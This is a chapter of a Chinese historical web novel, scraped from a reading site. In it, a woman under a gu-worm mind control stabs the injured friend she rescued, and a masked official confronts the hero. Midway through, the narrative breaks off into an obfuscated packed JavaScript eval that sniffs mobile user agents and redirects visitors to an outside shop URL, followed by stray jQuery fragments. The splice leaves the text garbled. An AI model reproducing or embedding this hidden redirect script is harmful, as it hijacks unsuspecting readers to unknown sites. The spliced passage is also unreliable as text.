默认冷灰
24号文字
方正启体

28. 故人

作者:徐派本书字数:K更新时间:
    西苑的月光总带着几分清寂,昭阳坐在窗边的妆台前,指尖无意识地摩挲着鬓边的银簪。自那日竹林闹剧后,她便被江画棠“请”回了这座精致的牢笼,只是这一次,看管她的侍卫多了一倍,连院门外那棵老槐树都被人修剪了枝桠,再无翻墙的可能。


    她已经有整整五日没见过江画棠了,更别提陆仁秉。那日锦衣卫提及“姓陆的药商”时,她的心几乎要跳出胸腔——除了陆仁秉,还能有谁?可无论她如何旁敲侧击,华姨总是笑着打太极,连洒扫的小丫鬟都对“缉事厂抓人”的话题讳莫如深。


    “姑娘,夜深了,该歇着了。”门外传来华姨的声音,带着一贯的温和。


    昭阳掐灭烛火,借着月光走到门边,声音压得极低:“华姨,我……我想知道那个姓陆的药商怎么样了。他是我同乡,若是犯了什么错,我……”


    “姑娘放心,家主自有分寸。”华姨打断她的话,语气却冷了几分,“您只需安心养伤,其他的事不必多问。”


    门被轻轻合上,留下昭阳一个人站在黑暗里,指甲深深掐进掌心。分寸?江画棠的分寸,就是把人拖进暗室折磨吗?她想起那日暗室里的血迹,想起陆仁秉憨厚的笑脸,一股寒意顺着脊椎爬上来。


    不行,她必须去看看。


    接下来的三日,昭阳装作安分守己的模样,每日坐在院中的石凳上晒太阳、编草筐,暗地里却仔细观察着侍卫换班的规律。终于在第四日的深夜,她趁着月色,撬开了窗棂的插销。


    书房的暗门依旧藏在那幅远山图后,昭阳熟门熟路地按下书案边的机关,石壁缓缓分开,一股浓重的血腥味扑面而来。她捂住口鼻,借着从外间透进来的微光往里走,脚下踢到了什么软物——


    昭阳定睛一看,才发现那是一个躺在地上的活人!


    那人蜷缩在石桌旁,浑身是血,粗布衣衫被鞭子抽得破烂不堪,他的发髻散乱,发丝也早已被汗水打湿,借着微弱的烛火望去,那张脸再熟悉不过。


    “陆大哥,你醒醒!”昭阳颤抖着伸手,他的鼻息微弱得几乎感觉不到。她一时不知是喜是悲,但当务之急是赶快离开这里。于是昭阳咬咬牙,将陆仁秉的胳膊架在自己肩上,半拖半扶地往外走。


    出乎意料的是,这一路竟异常顺利。院门外的侍卫不知去了何处,连平日里巡逻的锦衣卫都不见踪影。昭阳不敢多想,陆仁秉的伤势需要及时送医,她拼尽全力将陆仁秉背出宅邸,沿着墙根往城郊的方向跑。


    夜风凛冽,吹得她单薄的衣衫猎猎作响。陆仁秉的血顺着她的衣襟往下淌,在青石板上留下蜿蜒的痕迹。跑到城外的无人小路时,昭阳再也支撑不住,双腿一软跪倒在地。


    然而,屋漏偏逢连夜雨。就在这时,熟悉的头痛感再次袭来,且比以往任何一次都要猛烈。昭阳眼前的景物开始旋转,陆仁秉的脸在她模糊的视线里扭曲成诡异的形状,耳边仿佛有无数人在低语,那些声音尖锐而冰冷,像针一样扎进她的脑海——


    “杀了他……”


    “他不是什么好人……”


    “只有他死了,你和苏无虞才会安全……”


    昭阳抱着头痛苦地呻吟,手指在地上胡乱摸索,竟摸到了一柄冰冷的匕首。那是她逃跑时从侍卫腰间偷来的,此刻却像有了自己的意识,牵引着她的手,缓缓刺向陆仁秉的胸口。


    “不……不要……”她拼命摇头,却控制不住身体的动作。匕首没入皮肉的声音在寂静的夜里格外清晰,陆仁秉猛地睁开眼,难以置信地看着她,嘴唇翕动了几下,最终无力地垂落,彻底晕死过去。


    昭阳惊恐地松开手,匕首“哐当”一声掉在地上。她看着自己沾满鲜血的双手,又看看陆仁秉胸口不断涌出的血,整个人都在发抖。


    “昭阳!”熟悉的声音自身后响起,带着震惊与不敢置信。昭阳猛地回头,只见苏无虞站在不远处的月光下,白衣染尘,此时正死死地盯着她。


    这是什么地方?苏无虞怎么会在这里?他是真实存在的,还是自己因思念而产生的幻象?陆仁秉又为什么倒在血泊之中?


    昭阳张了张嘴,想要解释,却发现自己发不出任何声音。头痛再次袭来,她的思维彻底混乱,昭阳本能地敲打着自己的头,甚至想要依靠碰撞来缓解蚀骨的疼痛,她用力地将头撞向地面,继而很快失去了意识,倒在了陆仁秉身边。


    苏无虞见状,疯了一样冲过来,将她抱在怀里。她的脸色苍白如纸,嘴角却带着一丝诡异的微笑,仿佛做了什么美梦。而在她身边,陆仁秉旧伤未愈,再添新伤,此刻已是奄奄一息。


    夜风卷起地上的落叶,发出呜咽般的声响。苏无虞看着怀中人事不省的昭阳,又看看重伤濒死的陆仁秉,心脏像是被一只无形的手紧紧攥住,痛得无法呼吸。


    他终究还是来晚了一步。


    而在京城的另一端,缉事厂的暗室里,江画棠正站在一幅巨大的舆图前,指尖轻轻敲击着“城郊”的位置。面具后的嘴角勾起一抹冰冷的笑意。


    “游戏,才刚刚开始。”他转身看向身后的巫医,声音低沉如冰:“‘同心蛊’的效果不错。”


    巫医躬身回道:“回督主,蛊虫已完全控制住那姑娘的神智。只需您一声令下,她便会对您言听计从。”


    江画棠满意地点点头,目光投向窗外沉沉的夜色,“苏无虞,你最珍视的人,如今不过是我手中的一把刀。”


    而此刻的苏无虞,让昏死过去的二人躺到自己褪下的外袍上,拖着他们艰难地在山中前行。原本今日,他按照约定前往客栈寻找陆仁秉,却被告知他已数日未归,苏无虞当下便有不祥的预感,没想到竟出了这样的事情。


    此时此刻,苏无虞拖着两人在崎岖的山路上艰难前行,月光透过稀疏的枝叶洒下,照亮了他苍白而坚毅的脸庞。他的呼吸急促,额头上布满了汗珠,每一步都像是用尽了全身的力气。


    陆仁秉的伤势很重,血还在不停地流,染红了苏无虞的白色长衫。而昭阳则像个破碎的娃娃,毫无生气地躺着,嘴角那丝诡异的微笑让苏无虞的心一阵阵刺痛。


    他不知道昭阳到底发生了什么,为什么会变成这样。但他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555524|204241||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知道,自己必须尽快带他们离开这里,找到安全的地方。然而天不遂人愿,夜风如刀,卷着枯叶在山路上打着旋,一队人马出现在了他的面前,挡住去路。


    苏无虞将昭阳和陆仁秉藏在一块巨大的岩石后,用枯枝败叶小心掩盖,这才握紧了腰间的短剑,转身迎向那些手持长刀的锦衣卫。


    月光下,玄色官袍在风中猎猎作响,江画棠负手立于人马之前,鬼面具在清冷月色下泛着森然寒光。他身后的十二名锦衣卫如狼似虎,手按刀柄,目光死死锁定苏无虞,空气中弥漫着剑拔弩张的杀气。


    “苏无虞?这个名字倒是取得不错,一世无虞,只不过,你配吗?”江画棠的声音透过面具传来,带着一丝玩味的冷笑,“罢了,裴三公子,我还是更习惯叫你,裴夙。”


    这两个字如同一道惊雷,在寂静的山林中炸响。苏无虞浑身一震,握剑的手猛地收紧,指节泛白。他怎么会知道?这个秘密,他从未对任何人提起,连昭阳和陆仁秉都只知他叫苏无虞。


    “你怎么会……”苏无虞的声音有些沙哑,眼中充满了震惊和不解,“果然,你从一开始,就是冲着裴家来的。”


    江画棠低笑一声,缓缓踱步上前,每一步都像是踩在苏无虞的心上。“整个京城,还有什么事能瞒得过我缉事厂?”他顿了顿,语气变得冰冷,“裴相爷权倾朝野,党羽众多,漕运一案牵连甚广,你以为躲在乡野,就能置身事外?”


    “我父亲若真犯了国法,自有朝廷处置,我无话可说。”苏无虞挺直脊梁,目光坚定地迎向江画棠,“但我早已与裴家无关,这些年我过着什么样的日子,你应该也查得一清二楚。我只想带着昭阳和陆大哥离开这里,过平静的生活,为何你非要赶尽杀绝?”


    “赶尽杀绝?”江画棠像是听到了什么天大的笑话,仰头大笑起来,笑声中却充满了悲凉和愤怒,“你裴家享尽荣华富贵的时候,可曾想过那些被你们害得家破人亡的无辜百姓?你父亲倒台,你一句‘与我无关’就想置身事外?天下哪有这么便宜的事!”


    他猛地向前一步,面具几乎要贴到苏无虞的脸上,声音低沉而狠戾:“我就是要让你尝尝,什么叫众叛亲离,什么叫一无所有!你不是最在乎那个叫昭阳的姑娘吗?你不是视那个姓陆的药商为兄弟吗?我就是要让他们,都成为你裴家罪孽的牺牲品!”


    “你到底想怎样?”苏无虞的声音带着一丝颤抖,不是因为害怕,而是因为愤怒和不解,“冲着我来就是!不要牵连无辜!”


    “怎么?想保护他们?”江画棠的声音陡然拔高,每一个字都像是从牙缝里挤出来,带着刺骨的寒意和无法掩饰的怒火,在空旷的山野间回荡。他的眼神死死锁定在苏无虞身上,那双平日里深不见底的眸子此刻燃烧着阴狠的火焰,瞳孔收缩如针尖,透出嗜血般的威胁,仿佛要将对方生吞活剥。


    苏无虞不知自己是哪里触怒了他,江画棠此刻言语中的愤怒,不像是一时冲动,而是积压已久的怨恨在这一刻爆发。


    裴家,究竟做了什么事情,才让他如此恨之入骨?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)